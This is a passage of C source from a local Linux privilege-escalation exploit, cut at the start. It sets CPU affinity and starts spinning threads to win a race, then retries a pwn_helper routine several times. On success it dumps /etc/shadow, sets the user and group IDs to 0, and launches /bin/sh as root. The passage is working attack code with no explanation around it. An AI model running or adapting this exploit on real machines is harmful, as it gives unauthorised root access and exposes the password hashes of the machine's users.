cpu_set_size = CPU_ALLOC_SIZE(cpu_alloc);
CPU_ZERO_S(cpu_set_size, cpu_set);
res = sched_getaffinity(0, cpu_set_size, cpu_set);
printf("[*] sched_getaffinity() => %d %d\n", res, errno);
if (res == 0) {
break;
}
else if (errno != EINVAL) {
err(1, "Cannot into sched_getaffinity()");
}
}
cpu_set_t *cpu_affinity = CPU_ALLOC(cpu_alloc);
if (cpu_affinity == NULL) {
err(1, "Cannot into CPU_ALLOC()");
}
CPU_ZERO_S(cpu_set_size, cpu_affinity);
int pwn_cpu = -1;
for (int cpu = 0; cpu < cpu_set_size * 8; ++ cpu) {
if (CPU_ISSET_S(cpu, cpu_set_size, cpu_set)) {
if (pwn_cpu == -1) {
pwn_cpu = cpu;
printf("[*] Reserved CPU %d for PWN Worker\n", cpu);
}
else {
pthread_t thread;
CPU_SET_S(cpu, cpu_set_size, cpu_affinity);
thread_create_with_affinity(&thread,
cpu_set_size,
cpu_affinity,
cpu_spinning_loop,
NULL
);
CPU_CLR_S(cpu, cpu_set_size, cpu_affinity);
printf("[*] Started cpu_spinning_loop() on CPU %d\n", cpu);
}
}
}
CPU_SET_S(pwn_cpu, cpu_set_size, cpu_affinity);
for (int attempt = 0; attempt < 5; ++ attempt) {
pwn_helper(cpu_set_size, cpu_affinity, target_path, target_argv, target_envp);
}
printf("\n\n[*] No ROOT for you:-(\n[*] Please reboot the machine!\n\n");
}
int execve_with_setuid(char *target_argv[], char *target_envp[])
{
int res;
printf("[*] Checking \"/etc/shadow\"...\n");
FILE *f = fopen("/etc/shadow", "rb");
if (f != NULL) {
char buf[0x1000];
size_t size = fread(buf, 1, sizeof(buf), f);
if (0 < size) {
fwrite(buf, 1, size, stdout);
}
}
uid_t euid = geteuid();
if (euid != 0) {
err(1, "Unexpected effective user id of the process");
}
res = setuid(0);
if (res != 0) {
err(1, "Cannot into setuid()");
}
res = setgid(0);
if (res != 0) {
err(1, "Cannot into setgid()");
}
printf("\n\n[*] You've Got ROOT:-)\n\n");
res = execve(target_argv[0], target_argv, target_envp);
err(1, "Cannot into execve()");
}
int main(int argc, char *argv[], char *envp[])
{
setbuf(stdout, NULL);
if (3 <= argc) {
execve_with_setuid(argv + 2, envp);
}
else {
char *target_path;
if (2 <= argc) {
target_path = argv[1];
}
else {
target_path = realpath(argv[0], NULL);
if (target_path == NULL) {
err(1, "Cannot into realpath()");
}
}
char *target_argv[] = { "-", "-", "/bin/sh", NULL };
exploit(target_path, target_argv, envp);
}
}